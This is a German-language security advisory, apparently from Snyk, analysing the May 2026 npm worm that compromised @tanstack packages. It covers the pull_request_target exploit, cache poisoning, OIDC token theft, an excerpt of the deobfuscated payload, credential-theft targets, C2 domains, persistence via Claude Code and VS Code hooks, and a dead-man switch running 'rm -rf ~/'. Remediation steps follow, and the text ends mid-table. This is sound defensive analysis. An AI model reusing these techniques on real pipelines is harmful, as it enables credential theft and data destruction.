Skip to main content

TanStack-npm-Pakete im Mini-Shai-Hulud-Supply-Chain-Angriff kompromittiert

Artikel von
blog feature security alert purple

11. Mai 2026

0 Min. Lesezeit

TanStack-npm-Pakete kompromittiert: Einblicke in den Mini-Shai-Hulud-Supply-Chain-Angriff

Am 11. Mai 2026 zwischen 19:20 und 19:26 Uhr UTC wurden 84 schädliche npm-Paketartefakte in 42 Paketen im Namespace @tanstack veröffentlicht. Die Pakete wurden nicht von einem Angreifer veröffentlicht, der Zugangsdaten gestohlen hatte, sondern von der legitimen Release-Pipeline von TanStack – mit deren vertrauenswürdiger OIDC-Identität, nachdem vom Angreifer kontrollierter Code den Runner mitten im Workflow übernommen hatte. Innerhalb weniger Stunden verbreiteten sich die schädlichen Versionen zu Mistral AI, UiPath und Dutzenden weiteren Maintainer-Teams. Allein @tanstack/react-router wird wöchentlich über 12,7 Millionen Mal heruntergeladen (npm API).

StepSecurity schreibt den Vorfall der als TeamPCP bekannten Bedrohungsgruppe zu. Zudem handelt es sich um den ersten dokumentierten Fall eines schädlichen npm-Pakets mit gültiger SLSA-Provenienz. SLSA-Provenienz ist ein von Sigstore generiertes kryptografisches Zertifikat, das bestätigen soll, dass ein Paket aus einer vertrauenswürdigen Quelle erstellt wurde. Der Wurm konnte diese Zertifikate erzeugen, weil er die legitime Build-Pipeline selbst übernahm; Sigstore verifizierte den Build-Prozess korrekt. SLSA garantiert jedoch nicht, dass der erstellte Code sicher war.

Wenn Ihr Team am 11. Mai eine betroffene @tanstack/*-Version installiert hat, sollten Sie die Installationsumgebung als kompromittiert behandeln und alle Geheimnisse rotieren, auf die von diesem Host aus zugegriffen werden konnte. Lesen Sie weiter für die vollständige Paketliste, die technische Analyse und eine Schritt-für-Schritt-Anleitung zur Behebung.

CVE: CVE-2026-45321 | GHSA: GHSA-g7cv-rxg3-hmpx | Schweregrad: Kritisch

Welle vier: Hintergrund der Kampagne

Der TanStack-Angriff ist kein Einzelfall. Er ist die jüngste Welle einer Reihe von npm-Supply-Chain-Angriffen, bei denen die Shai-Hulud-Wurm-Toolchain zum Einsatz kommt. TeamPCP, dem StepSecurity diesen Angriff zuschreibt, ist auch für die Kompromittierung des Trivy-Scanners von Aqua Security (März 2026) und des Bitwarden-CLI-npm-Pakets (April 2026) verantwortlich. Bei den früheren Shai-Hulud-Wellen (September und November 2025) kam dieselbe Wurm-Toolchain zum Einsatz; sie wurden jedoch nicht TeamPCP zugeschrieben.

Welle

Datum

Umfang

Wichtige Eskalation

14.–16. Sep. 2025

Über 500 Pakete, über 700 Repos

Erster sich selbst verbreitender npm-Wurm; TruffleHog zum Aufspüren von Geheimnissen

21.–23. Nov. 2025

492 Pakete, 132 Mio. monatliche Downloads, über 25.000 Repos

preinstall-Hook (keine Interaktion durch Menschen erforderlich); Zerstörung des Home-Verzeichnisses als Fallback (Trigger.dev-Postmortem)

29. Apr. 2026

Erste Persistenz über einen KI-Coding-Agenten (.claude/settings.json); verschlüsselte Exfiltration; Ausnahme für russische Gebietsschemaeinstellungen

11. Mai 2026

373 schädliche Versionen, 169 Pakete

Erster npm-Wurm mit gültigen SLSA-Build-Level-3-Attestierungen; Session-P2P-C2

Jede Welle baut auf der technischen Raffinesse der vorherigen auf. Welle vier ist nicht wegen ihres Umfangs bemerkenswert (Welle 2 war größer), sondern wegen ihrer Leistung: Sie veröffentlichte schädliche Pakete, die sich anhand ihrer Provenienzattestierung nicht von legitimen Paketen unterscheiden ließen – eine Eigenschaft, die bei keinem früheren Supply-Chain-Angriff nachgewiesen worden war.

TeamPCP bekannte sich öffentlich zu dem Angriff. Die Gruppe ist auch unter den Aliasnamen DeadCatx3, PCPcat, ShellForce und CipherForce bekannt. Unit 42 hat die von der Gruppe angekündigte Partnerschaft mit der Vect-Ransomware-Gruppe dokumentiert, basierend auf einer Ankündigung auf BreachForums.

CISA veröffentlichte Warnungen sowohl zur ursprünglichen Welle vom September 2025 als auch zur Kompromittierung von tj-actions/changed-files (März 2025), bei der erstmals die OIDC-Token-Auslesetechnik dokumentiert wurde, die bei diesem Angriff erneut zum Einsatz kam.

Was betroffen war

Die TanStack-Router-Familie war der ursprüngliche Angriffsvektor. Durch den Mechanismus zur Selbstverbreitung des Wurms weitete sich der Schadensradius jedoch rasch aus.

TanStack-Pakete (42 Pakete, 84 Versionen – zwei pro Paket):

Paket

Kompromittierte Versionen

1.169.5, 1.169.8

1.169.5, 1.169.8

1.169.5, 1.169.8

1.169.5, 1.169.8

1.167.68, 1.167.71

1.167.38, 1.167.41

Die vollständige Liste der 42 Pakete finden Sie in GHSA-g7cv-rxg3-hmpx und in der Snyk-Sicherheitsdatenbank. Nachweislich nicht betroffene Familien: @tanstack/query*, @tanstack/table*, @tanstack/form*, @tanstack/virtual*, @tanstack/store.

Sekundär betroffene Pakete (durch den Wurm verbreitet):

Namespace

Beispielpakete

@mistralai/mistralai 2.2.2–2.2.4; Varianten -azure und -gcp

@uipath

Über 40 Pakete im UiPath-Namespace

@draftlab / @draftauth

@draftlab/auth, @draftlab/db, @draftauth/client

@squawk

19 Pakete mit Luftfahrtdaten

Verschiedene

safe-action, cmux-agent-mcp, nextmove-mcp, ts-dna, cross-stitch und weitere

Bis zum Ende des Tages waren mindestens 170 betroffene Pakete in der Snyk-Sicherheitsdatenbank dokumentiert. @mistralai/mistralai ist außerdem unter MAL-2026-3432 in der OSSF-Datenbank für schädliche Pakete registriert (GHSA-3q49-cfcf-g5fm).

So funktionierte der Angriff: drei miteinander verkettete Schwachstellen

Das Postmortem von TanStack ist detailliert. Es wurden drei Schwachstellen miteinander verkettet; keine davon wäre allein ausreichend gewesen.

Schritt 1: Pwn Request über pull_request_target

Am 10. Mai 2026 erstellte der Angreifer unter dem Konto zblgg (GitHub-ID 127806521) einen Fork von TanStack/router. Er nannte ihn gezielt zblgg/configuration, damit er bei der Suche in Fork-Listen nicht auffiel. Ein schädlicher Commit (65bf499d) wurde unter der erfundenen Identität claude <claude@users.noreply.github.com> verfasst, die die Anthropic-Claude-GitHub-App imitierte. Der Commit erhielt das Präfix [skip ci], um automatisierte CI-Läufe bei Pushes zu unterbinden.

Am 11. Mai um 10:49 Uhr eröffnete der Angreifer PR #7378 gegen TanStack/router#main mit dem Titel „WIP: simplify history build“ und löste eine bekannte Fehlkonfiguration aus: TanStacks Workflow bundle-size.yml verwendete den Trigger pull_request_target, checkte aber den Merge-Ref des Forks aus und führte vom Fork kontrollierten Code aus:

on:
  pull_request_target:
    paths: ['packages/**', 'benchmarks/**']

jobs:
  benchmark-pr:
    steps:
      - uses: actions/checkout@v6.0.2
        with:
          ref: refs/pull/${{ github.event.pull_request.number }}/merge  # fork code

      - uses: TanStack/config/.github/setup@main  # calls actions/cache@v5

      - run: pnpm nx run @benchmarks/bundle-size:build  # executes fork-controlled code

Dieses „Pwn Request“-Muster wurde erstmals im Mai 2024 vom Sicherheitsforscher Adnan Khan dokumentiert und bei Angular, MDN und hyperledger/besu demonstriert. Der Trigger pull_request_target läuft im Sicherheitskontext des Basis-Repos. Dadurch konnte der Code des Forks auf den Cache-Bereich und das GITHUB_TOKEN des Basis-Repos zugreifen.

Schritt 2: Cache-Poisoning in GitHub Actions

Die schädliche Datei vite_setup.mjs aus dem Fork exfiltrierte nicht sofort Daten. Stattdessen vergiftete sie den pnpm-Paketspeicher unter genau dem Cache-Schlüssel, nach dem release.yml später suchen würde:

Linux-pnpm-store-6f9233a50def742c09fde54f56553d6b449a535adf87d4083690539f49ae4da11

Dieser Schlüssel wurde anhand der öffentlichen Datei pnpm-lock.yaml mit derselben Formel hashFiles('**/pnpm-lock.yaml') vorab berechnet, die auch der Workflow verwendet. Der vergiftete Cache-Eintrag mit einer Größe von 1,1 GB wurde um 11:29 Uhr gespeichert und blieb fast acht Stunden unentdeckt – bis ein legitimer Push auf den Branch main um 19:15 Uhr release.yml auslöste.

Der Autor von bundle-size.yml hatte versucht, die Vertrauensbereiche zu trennen: Der Benchmark-Job wurde separat gehalten und mit einem Hinweis auf nicht vertrauenswürdige Berechtigungen versehen. Dabei übersah er jedoch ein wichtiges Verhalten von GitHub Actions: Beim Speichern nach dem Job verwendet actions/cache@v5 ein internes Runner-Token und nicht das Workflow-GITHUB_TOKEN. Deshalb verhindert permissions: contents: read keine Schreibzugriffe auf den Cache. Außerdem wird der Cache-Bereich zwischen pull_request_target-Läufen und Pushes auf den Basis-Branch geteilt, wodurch ein Zeitfenster für grenzüberschreitendes Cache-Poisoning entsteht.

Schritt 3: OIDC-Token aus dem Arbeitsspeicher des Runners auslesen

release.yml verfügt über die Berechtigung id-token: write, die für die OIDC-Bindung als vertrauenswürdiger Publisher von npm erforderlich ist. Als während der Build-Phase vom Angreifer kontrollierte Binärdateien aus dem vergifteten pnpm-Speicher ausgeführt wurden, nutzten sie eine Technik, die bei der Kompromittierung von tj-actions/changed-files im März 2025 dokumentiert wurde. Im TanStack-Postmortem heißt es, der Angreifer habe „dieselbe Technik zum Auslesen des Arbeitsspeichers (und ein identisches Python-Skript mit Quellenangabe im Kommentar)“ aus diesem Vorfall verwendet:

  1. Den Prozess Runner.Worker über /proc/*/cmdline finden

  2. /proc/<pid>/maps und /proc/<pid>/mem auslesen, um den Adressraum des Workers auszulesen

  3. Das OIDC-Token extrahieren, das der Runner bei gesetztem id-token: write verzögert im Arbeitsspeicher erzeugt

  4. Direkt authentifiziert als legitimer TanStack-Release-Workflow einen POST an registry.npmjs.org senden

Der vorgesehene Workflow-Schritt Publish Packages wurde nie erreicht, die Tests schlugen fehl und der Schritt wurde übersprungen. Trotzdem wurden Pakete mit einem gültigen OIDC-Token und gültiger SLSA-Provenienz schädlich veröffentlicht, weil der Angreifer das Token vor Abschluss des Workflows ausgelesen hatte.

Es gab zwei Release-Läufe. Beide endeten mit status: failure. npm erhielt 84 gültige, signierte und mit Provenienzattestierungen versehene Paketveröffentlichungen: Lauf 25613093674 und 25691781302.

Im Payload: router_init.js

Die 2,3 MB große Datei router_init.js wurde unbemerkt im Stammverzeichnis jedes kompromittierten Tarballs abgelegt. Sie war nicht im Feld files des Pakets deklariert, was beweist, dass der Tarball außerhalb des normalen Build-Prozesses manipuliert wurde. Außerdem wurde jedem Paket ein Eintrag in optionalDependencies hinzugefügt:

"optionalDependencies": {
  "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}

Der Commit-Hash verweist auf einen verwaisten Commit im Fork des Angreifers, den GitHub aufgrund des gemeinsamen Speichers für Commit-Objekte in Fork-Netzwerken über die legitime URL von TanStack/router anzeigt. Die URL wirkt offiziell, der Commit ist es nicht. Löst npm die Abhängigkeit auf, lädt es einen prepare-Lifecycle-Hook herunter und führt ihn aus:

{
  "scripts": {
    "prepare": "bun run tanstack_runner.js && exit 1"
  }
}

Das && exit 1 ist beabsichtigt: Die optionale Abhängigkeit „schlägt“ ordnungsgemäß fehl und hinterlässt kaum Spuren in den Installationsprotokollen, während der Payload bereits im Hintergrund ausgeführt wird.

Ein wichtiger Hinweis zur Abwehr: Bun führt als Paketmanager standardmäßig keine Lifecycle-Skripte aus. Entwicklerinnen und Entwickler, die die betroffenen Pakete direkt mit Bun installieren, hätten diesen konkreten Payload-Auslieferungsvektor daher nicht ausgelöst. Auf Rechnern, auf denen Bun bereits installiert ist, wird außerdem durch die Prüfung hasCommand("bun") ein vorzeitiger Abbruch im Payload ausgelöst. Beides macht Bun nicht zu einer vollständigen Schutzmaßnahme: Die Datei router_init.js befindet sich weiterhin im Tarball. Es verringert jedoch die Angriffsfläche während der Installation.

Drei Verschleierungsebenen

router_init.js verwendet ein dreischichtiges Schutzschema, das in der vollständigen Entschlüsselung von Upwind Security dokumentiert ist. Dabei erzeugte webcrack 2.16.0 aus dem 11,7 MB großen verschleierten Blob 221.771 Zeilen lesbares JavaScript:

Ebene 1: Das klassische Muster des JavaScript-Obfuscators: Auf einen selbstaufrufenden Bootstrap zur Rotation eines String-Arrays folgt eine Dispatcher-Funktion (_0x253b), die 2.864-mal in einer einzigen Quellcodezeile aufgerufen wird. Alle Zeichenfolgenliterale werden durch Array-Zugriffe ersetzt.

Ebene 2: Eine Substitutionschiffre nach Fisher-Yates, die jedes Byte einzeln verarbeitet. Der Schlüssel wird mit PBKDF2-SHA256 abgeleitet, unter Verwendung des hartcodierten Hauptschlüssels 0c0e873033875f1bc471eda37e3b9d0f9b89bd41a4bbb4f86746caa2186c40aa und des Salts svksjrhjkcejg bei 200.000 Durchläufen – absichtlich langsam, um automatisierte Analysen zu erschweren. Diese Ebene entschlüsselt 396 eindeutige Zeichenfolgenkonstanten, darunter C2-Domains, Pfade zu Zugangsdaten und den internen Namen der Kampagne: EveryBoiWeBuildIsAWormyBoi.

Ebene 3: Elf AES-256-GCM-verschlüsselte, gzip-komprimierte Payloads, zu deren Entschlüsselung die Bun-Laufzeit (Bun.gunzipSync) erforderlich ist. Die durch die Entschlüsselung wiederhergestellte Verschlüsselungsfunktion:

function w8(key, encryptedData) {
  let keyBuf     = Buffer.from(key, 'base64');
  let dataBuf    = Buffer.from(encryptedData, 'hex');
  let iv         = dataBuf.subarray(0, 12);
  let authTag    = dataBuf.subarray(12, 28);
  let ciphertext = dataBuf.subarray(28);
  let decipher   = createDecipheriv('aes-256-gcm', keyBuf, iv);
  decipher.setAuthTag(authTag);
  return new TextDecoder().decode(Bun.gunzipSync(
    Buffer.concat([decipher.update(ciphertext), decipher.final()])
  ));
}

Derselbe ctf-scramble-v2-Fisher-Yates-PRNG (mit 0x3039 / 12345 als Seed) findet sich wortgetreu in den Bitwarden-CLI-, SAP- und TanStack-Wellen wieder — Unit 42 identifizierte dies als Hinweis auf eine gemeinsame Urheberschaft, der alle drei Angriffe derselben Codebasis zuordnet.

Als Daemon ausführen

Bevor die Payload irgendetwas Sichtbares unternimmt, prüft sie process.env.__DAEMONIZED. Ist die Variable nicht gesetzt, startet sie einen vollständig abgekoppelten Child-Prozess, unterdrückt sämtliche Standard-Ein- und -Ausgaben und ruft unref() auf, damit Node.js nicht auf den Child-Prozess wartet. Der Parent-Prozess wird sauber beendet; der Child-Prozess läuft unbemerkt und ist von der Terminalsitzung entkoppelt, in der npm install ausgeführt wurde.

Abschöpfen von Zugangsdaten

Die Payload durchsucht systematisch alle wichtigen Zugangsdatenebenen in cloud-nativen CI-Umgebungen. Beachten Sie: Der Scraper für den Runner-Arbeitsspeicher überspringt absichtlich Tokens mit dem expliziten Namen github_token — vermutlich, um zu verhindern, dass GitHubs eigene Geheimniserkennung die exfiltrierten Daten entdeckt.

GitHub Actions:

  • Direkte Zugriffe: GITHUB_REPOSITORY, GITHUB_SERVER_URL, ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL

  • GitHub-REST-API: GET /repos/<repo>/actions/secrets?per_page=100 (das API-Maximum)

AWS:

  • Umgebungsvariablen: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_REGION, AWS_ROLE_ARN, AWS_WEB_IDENTITY_TOKEN_FILE

  • IMDSv2 (korrekt implementiert — funktioniert auch mit gehärteten Instanzen, auf denen IMDSv1 deaktiviert ist)

  • ECS-Task-Metadaten-Endpunkt (169.254.170.2)

  • Auflistung von Secrets Manager und SSM Parameter Store über mehrere Regionen hinweg

HashiCorp Vault:

  • VAULT_TOKEN, VAULT_ADDR, VAULT_AUTH_TOKEN

  • Direkte API-Aufrufe an vault.svc.cluster.local:8200 (den internen Vault-Endpunkt von Kubernetes)

Kubernetes:

  • Service-Account-Tokens unter /var/run/secrets/kubernetes.io/serviceaccount/

  • In Kombination mit dem Vault-Endpunkt: K8s-Token stehlen → bei Vault authentifizieren → alle Vault-Secrets abrufen

Workstation-Ziele:

  • ~/.npmrc, ~/.git-credentials, private SSH-Schlüssel unter ~/.ssh/

  • GCP-Metadaten, Zugangsdaten-Dateien von Cloud-Anbietern an über 100 Pfaden unter Linux und macOS

  • ~/.claude/projects/*.jsonl — Claude-Code-Sitzungsverlaufsdateien mit Code, Befehlen und potenziell Zugangsdaten aus früheren Claude-Code-Sitzungen

Bei der Entschleierung wiederhergestellte Token-RegEx-Muster:

{
  npmtoken:   /npm_[A-Za-z0-9]{36,}/g,
  ghtoken:    /gh[op]_[A-Za-z0-9]{36}/g,
  vaultToken: /hvs\.[A-Za-z0-9_-]{24,}/g,
  k8sToken:   /eyJhbGciOiJSUzI1NiIsImtpZCI6[\w\-.]+/g,
  awsKey:     /AKIA[0-9A-Z]{16}/g,
}

Exfiltration und Dead Drops

Gestohlene Daten werden verschlüsselt über das dezentrale P2P-Messenger-Netzwerk Session/Oxen versendet (filev2.getsession[.]org, seed{1,2,3}.getsession.org). Es gibt keinen vom Angreifer kontrollierten C2-Server; der Datenverkehr wird über die onion-basierten Service-Nodes von Session geleitet und ist von verschlüsselter Messenger-App-Telemetrie nicht zu unterscheiden. Eine Blockierung auf IP-Ebene ist wirkungslos; die DNS-Blockierung von *.getsession.org ist die praktikable Perimeter-Kontrolle.

Ein weiterer Exfiltrationsweg führt über GitHubs eigene GraphQL-API mittels Dead-Drop-Commits: erstellt unter claude@users.noreply.github.com (unter falscher Identität der Anthropic-Claude-GitHub-App), mit der Nachricht chore: update dependencies und Dependabot-ähnlichen Branch-Namen aus Frank Herberts Dune-Universum, dependabout/…/setup-formatter (Hinweis: „dependabout“, nicht „dependabot“). GitHubs GraphQL-Endpunkt ist in praktisch jeder CI-Netzwerk-Egress-Richtlinie freigegeben, sodass dieser Kanal Perimeter-Kontrollen vollständig umgeht.

Die Payload fügt außerdem .github/workflows/codeql_analysis.yml in jedes zugängliche Repository ein und exfiltriert bei jedem Push toJSON(secrets) — so werden sämtliche GitHub-Actions-Secrets aus dem Kontext der betroffenen Organisationen abgeschöpft.

Ein Mechanismus zur Wiederherstellung im Notfall durchsucht GitHub nach Commits mit der magischen Zeichenfolge OhNoWhatsGoingOnWithGitHub, um Tokens wiederherzustellen, die zuvor von anderen Opfern exfiltriert wurden.

Selbstverbreitung

Nach dem Exfiltrieren der Zugangsdaten fragt der Wurm Folgendes ab:

GET https://registry.npmjs.org/-/v1/search?text=maintainer:<username>

Anschließend veröffentlicht er jedes Paket unter der gestohlenen OIDC-Identität erneut – mit derselben router_init.js-Injektion und demselben optionalDependencies-Eintrag. Wie in Snyks Security Database dokumentiert, weitete sich die Verbreitung über die ursprünglichen 84 @tanstack/*-Versionen hinaus auf mehr als 200 Pakete aus. Dadurch verbreitete sich der Wurm auf Mistral AI, UiPath und Dutzende weitere Folgeopfer.

Entscheidend ist, dass der Wurm mit generateKeyPairSync und sign Sigstore-kompatible in-toto-Provenance-Attestierungen für jedes erneut veröffentlichte Paket fälscht. Damit enthalten auch die Pakete der Folgeopfer scheinbar gültige SLSA-Provenance. Das Versagen der SLSA-Attestierung betrifft also auch vom Wurm verbreitete Pakete und nicht nur die ursprüngliche TanStack-Veröffentlichung.

Persistenz: Deinstallieren reicht nicht

Der Wurm legt Kopien von sich selbst in Entwickler-Tool-Verzeichnissen ab, um npm uninstall und Neustarts zu überstehen:

Claude-Code-Hooks (.claude/):

<project>/.claude/router_runtime.js   # payload self-copy
<project>/.claude/settings.json       # hooks config: runs on every tool event
<project>/.claude/setup.mjs           # ESM loader shim

Die hooks-Konfiguration von Claude Code kann als Reaktion auf Tool-Ereignisse wie Dateiänderungen und Bash-Ausführungen Shell-Befehle starten. Indem sich der Wurm in .claude/settings.json einträgt, wird er jedes Mal erneut ausgeführt, wenn eine Entwicklerin oder ein Entwickler Claude Code im betroffenen Projektverzeichnis verwendet.

VS Code (.vscode/):

<project>/.vscode/setup.mjs           # ESM loader shim
<project>/.vscode/tasks.json          # runs setup.mjs on folder open

Die automatische Ausführung von Workspace-Tasks in VS Code bietet einen unabhängigen Ausführungsweg. Zusammen sorgen diese beiden Mechanismen dafür, dass eine Person, die npm install mit einer betroffenen Version ausgeführt hat, ihre Umgebung jedes Mal erneut kompromittieren kann, wenn sie den Editor öffnet.

Nx npm Malware Explained: AI Agent Hijacking

Nx-NPM-Malware erklärt: Hijacking von KI-Agenten — Wie Supply-Chain-Malware VS-Code-Tasks und Hooks von KI-Coding-Agenten als Persistenzmechanismen missbraucht, mit einer Analyse der Nx-NPM-Wurm-Kampagne, die identische Techniken einsetzte.

Systemweiter Totmannschalter:

~/.local/bin/gh-token-monitor.sh                    # Linux
~/.config/systemd/user/gh-token-monitor.service     # Linux
~/Library/LaunchAgents/com.user.gh-token-monitor.plist  # macOS

Dieser Dienst fragt alle 60 Sekunden mit dem gestohlenen GitHub-Token api.github.com/user ab. Wird das Token widerrufen (HTTP-Antwort 40x), führt der Dienst rm -rf ~/ aus und löscht damit das Home-Verzeichnis der betroffenen Person.

Die Reihenfolge der Gegenmaßnahmen ist wichtig: Deaktivieren Sie den Überwachungsdienst, bevor Sie Zugangsdaten widerrufen. Wenn Sie zuerst widerrufen, kann dadurch das Löschen des Home-Verzeichnisses ausgelöst werden. Darauf wies unabhängig der Forscher carlini in einem Kommentar zu GitHub-Issue #4425225340 hin; die HN-Community machte den Befund innerhalb weniger Stunden nach dem Angriff bekannt.

Das SLSA-Provenance-Problem

Dieser Angriff ist der erste dokumentierte Fall eines NPM-Wurms, der gültig attestierte SLSA-Build-Level-3-Provenance für bösartige Pakete erzeugt. Die Sigstore-Attestierungen für die kompromittierten Versionen von @tanstack/* sind legitim: Sie bestätigen korrekt, dass die Pakete von release.yml ausgeführt auf refs/heads/main im Repository TanStack/router gebaut und veröffentlicht wurden. Das stimmt alles.

SLSA-Provenance bestätigt, dass ein Paket durch einen GitHub-Actions-Lauf eines bestimmten Repositorys erstellt wurde. Sie bestätigt nicht, dass der Workflow ausgeführt werden durfte, dass er von einem geschützten Branch gestartet wurde oder dass der auslösende Commit legitim war.

Die ausnutzbare OIDC-Konfiguration:

# Vulnerable: trusts the entire repository
Trusted publisher: Repository: tanstack/router

Die sichere Konfiguration:

# Secure: pins to specific branch and workflow
Trusted publisher:
  Repository: tanstack/router
  Workflow: .github/workflows/release.yml
  Branch: refs/heads/main

Jedes NPM-Paket, das OIDC Trusted Publishing ohne Festlegung von Branch und Workflow-Datei verwendet, ist für diese Art von Angriff anfällig. Provenance-Attestierungen sind ein notwendiger Bestandteil der Supply-Chain-Sicherheit, aber kein ausreichender. Die Verhaltensanalyse bei der Installation ist eine ergänzende Schutzmaßnahme. Automatisierte Verhaltensanalyse erkannte alle 84 betroffenen Artefakte innerhalb von sechs Minuten nach ihrer Veröffentlichung, indem sie Anomalien in router_init.js feststellte – noch bevor menschliche Analystinnen oder Analysten die Pakete geprüft hatten.

Was Sie jetzt tun sollten

Schritt 0: Prüfen, ob Sie betroffen sind

Prüfen Sie, ob eine betroffene Version in Ihre Umgebungen gelangt ist, ohne Skripte auszuführen:

# Safe inspection: downloads tarball without executing lifecycle scripts
npm pack @tanstack/react-router@1.169.5 --dry-run

# Or manually unpack and inspect
npm pack @tanstack/<name>@<version>
tar -xzf *.tgz
grep -A3 optionalDependencies package/package.json
ls -la package/router_init.js   # present = compromised version
# Check by hash
find . -name "router_init.js" -exec shasum -a 256 {} \;
# Compromised hash: ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c
# Check for the malicious optionalDependency marker in installed packages
find node_modules/@tanstack -name "package.json" | \
  xargs grep -l "voicproducoes\|79ac49eedf"

Schritt 1: Persistenz beseitigen, BEVOR Sie Zugangsdaten rotieren

Wenn Sie Hinweise auf eine Kompromittierung finden, deaktivieren Sie zuerst den Totmannschalter:

# Linux — stop and disable the monitoring service
systemctl --user stop gh-token-monitor.service 2>/dev/null
systemctl --user disable gh-token-monitor.service 2>/dev/null
rm -f ~/.config/systemd/user/gh-token-monitor.service
rm -f ~/.local/bin/gh-token-monitor.sh

# macOS — unload the LaunchAgent
launchctl unload ~/Library/LaunchAgents/com.user.gh-token-monitor.plist 2>/dev/null
rm -f ~/Library/LaunchAgents/com.user.gh-token-monitor.plist

Entfernen Sie anschließend die Persistenz-Hooks im Editor:

# Claude Code hooks
cat ~/.claude/settings.json 2>/dev/null | grep -i "router_runtime\|setup.mjs"
cat .claude/settings.json 2>/dev/null | grep -i "router_runtime\|setup.mjs"
# Remove router_runtime.js, setup.mjs, and any suspicious hook entries

# VS Code tasks
cat .vscode/tasks.json 2>/dev/null
# Remove any task referencing setup.mjs or router_runtime.js

# Check for injected GitHub Actions workflow
ls .github/workflows/codeql_analysis.yml 2>/dev/null
# If present and you didn't add it, it's likely the injected exfil workflow — remove it
# Check for dead-drop commits authored as the Claude bot
git log --all --author=claude@users.noreply.github.com
# Revert any unexpected commits and force-push after confirming they're not legitimate

Schritt 2: Alle Secrets rotieren

Nachdem die Persistenz beseitigt wurde, rotieren Sie die Zugangsdaten in dieser Reihenfolge:

  1. NPM-Veröffentlichungstokens und OIDC-Federation-Grants für alle NPM-Pakete, die aus betroffenen Repositorys veröffentlicht wurden

  2. GitHub-PATs und personalisierte Zugriffstokens mit eingeschränkten Berechtigungen

  3. AWS-Zugangsdaten (sowohl statische Schlüssel als auch Vertrauensstellungen für Instanzrollen über IMDSv2)

  4. HashiCorp-Vault-Tokens

  5. Kubernetes-Service-Account-Tokens

  6. Private SSH-Schlüssel

  7. GCP-Service-Account-Zugangsdaten

  8. Alle Secrets, die in ~/.claude/projects/*.jsonl sichtbar sind — Claude-Code-Sitzungsprotokolle werden gezielt abgeschöpft

Richten Sie OIDC-Federation-Grants erst dann wieder ein, wenn Sie bestätigt haben, dass der Veröffentlichungs-Workflow sauber ist.

Schritt 3: Maßnahmen auf Netzwerkebene

Sperren Sie *.getsession.org auf DNS-Ebene. Eine Sperrung auf IP-Basis reicht nicht aus — das Session-Netzwerk nutzt verteilte Service-Nodes. Die DNS-Blockierung ist die praktikable Perimeter-Kontrolle.

Sperren Sie außerdem: api.masscan.cloud und git-tanstack.com (weitere C2-Domains aus der Kampagneninfrastruktur). Sperren Sie ausgehende Verbindungen zu den URLs der Second-Stage-Payloads: litter.catbox.moe/h8nc9u.js und litter.catbox.moe/7rrc6l.mjs.

Schritt 4: OIDC-Konfiguration von GitHub Actions prüfen

Legen Sie für jedes NPM-Paket mit Trusted Publishing in der OIDC-Konfiguration einen bestimmten Branch und eine bestimmte Workflow-Datei fest:

# Update your npm trusted publisher config to include:
workflow: .github/workflows/release.yml
branch: refs/heads/main
# (not just repository: owner/repo)

Setzen Sie auf Workflow-Ebene permissions: id-token: none und gewähren Sie id-token: write nur für den Job, der das Paket veröffentlicht:

permissions:
  id-token: none
  contents: read

jobs:
  publish:
    permissions:
      id-token: write  # only this job, not the entire workflow

Schritt 5: pull_request_target-Workflows prüfen

Jeder Workflow mit pull_request_target, der zugleich Code aus Forks auscheckt und in den Cache schreibt, ist für den Cache-Poisoning-Angriff anfällig. Verwenden Sie entweder pull_request (Fork-Kontext, schreibgeschützt) oder trennen Sie die Ausführung von Fork-Code vollständig von Schreibvorgängen im Cache des Basis-Repositorys.

Löschen Sie vorhandene GitHub-Actions-Caches für alle Repositorys, in denen pull_request_target zusammen mit Cache-Schreibvorgängen verwendet wird:

# GitHub CLI
gh api /repos/OWNER/REPO/actions/caches --jq '.actions_caches[].id' | \
  xargs -I{} gh api -X DELETE /repos/OWNER/REPO/actions/caches/{}

Fixieren Sie alle Referenzen auf Drittanbieter-Actions auf Commit-SHAs statt auf Tags:

# Instead of:
- uses: actions/cache@v5
# Use:
- uses: actions/cache@d4323d4df104b026a6aa633fdb11d772146be0bf

Schritt 6: Wartezeiten für neue Releases einführen

Die bösartigen Versionen waren etwa drei Stunden lang verfügbar. Eine siebentägige Wartezeit hätte vor diesem konkreten Angriff vollständig geschützt (siehe auch: Einstellungen zur Härtung der pnpm-Supply-Chain):

# ~/.npmrc
min-release-age=7
ignore-scripts=true

# ~/Library/Preferences/pnpm/rc
minimum-release-age=10080   # minutes

# ~/.bunfig.toml
[install]
minimumReleaseAge = 604800  # seconds

# ~/.config/uv/uv.toml
exclude-newer = "7 days"

Erwägen Sie außerdem allow-git=none für npm v11+, um die Installation von Abhängigkeiten über Git-URLs zu verhindern (Angriffsvektor für die optionale Abhängigkeit @tanstack/setup).

Schritt 7: Vertrauen Sie nicht allein auf SLSA-Provenance

Dieser Angriff erzeugt gültige SLSA-Build-Level-3-Attestierungen für bösartige Pakete. Die Überprüfung der Provenance ist notwendig, aber nicht ausreichend. Kombinieren Sie sie mit einer Verhaltensanalyse zum Installationszeitpunkt und einem Tool, das Pakete auf bekannte bösartige Signaturen prüft.

Snyks Abdeckung

Snyks Security Database deckt den damit verbundenen Supply-Chain-Angriff auf LiteLLM über PyPI ab (SNYK-PYTHON-LITELLM-15762713). Dabei wurden manipulierte Versionen von litellm direkt auf PyPI hochgeladen, die mithilfe derselben .pth-Dateitechnik einen mehrstufigen Zugangsdaten-Dieb und eine persistente Hintertür installierten.

Snyks ausführliche Analyse des LiteLLM-Angriffs finden Sie unter snyk.io/articles/poisoned-security-scanner-backdooring-litellm.

Snyk Open Source scannt Ihren Abhängigkeitsbaum anhand der Snyk Security Database und kennzeichnet bekannte kompromittierte Paketversionen. Wenn Sie Ihre Projekte noch nicht scannen, testen Sie Snyk kostenlos, um Ihre aktuelle Gefährdung zu prüfen.

Shai-Hulud NPM Attack: Remediation with Snyk

Shai-Hulud-NPM-Angriff: Mit Snyk Gegenmaßnahmen ergreifen — Eine Anleitung dazu, wie Sie mit Snyk kompromittierte Pakete in Ihrem Abhängigkeitsbaum identifizieren und die Gefährdung beseitigen.

Zusammenfassung: Kompromittierungsindikatoren

Indikator

Wert

CVE

CVE-2026-45321

GHSA

GHSA-g7cv-rxg3-hmpx

Bösartige Datei

router_init.js

SHA-256 (router_init.js)

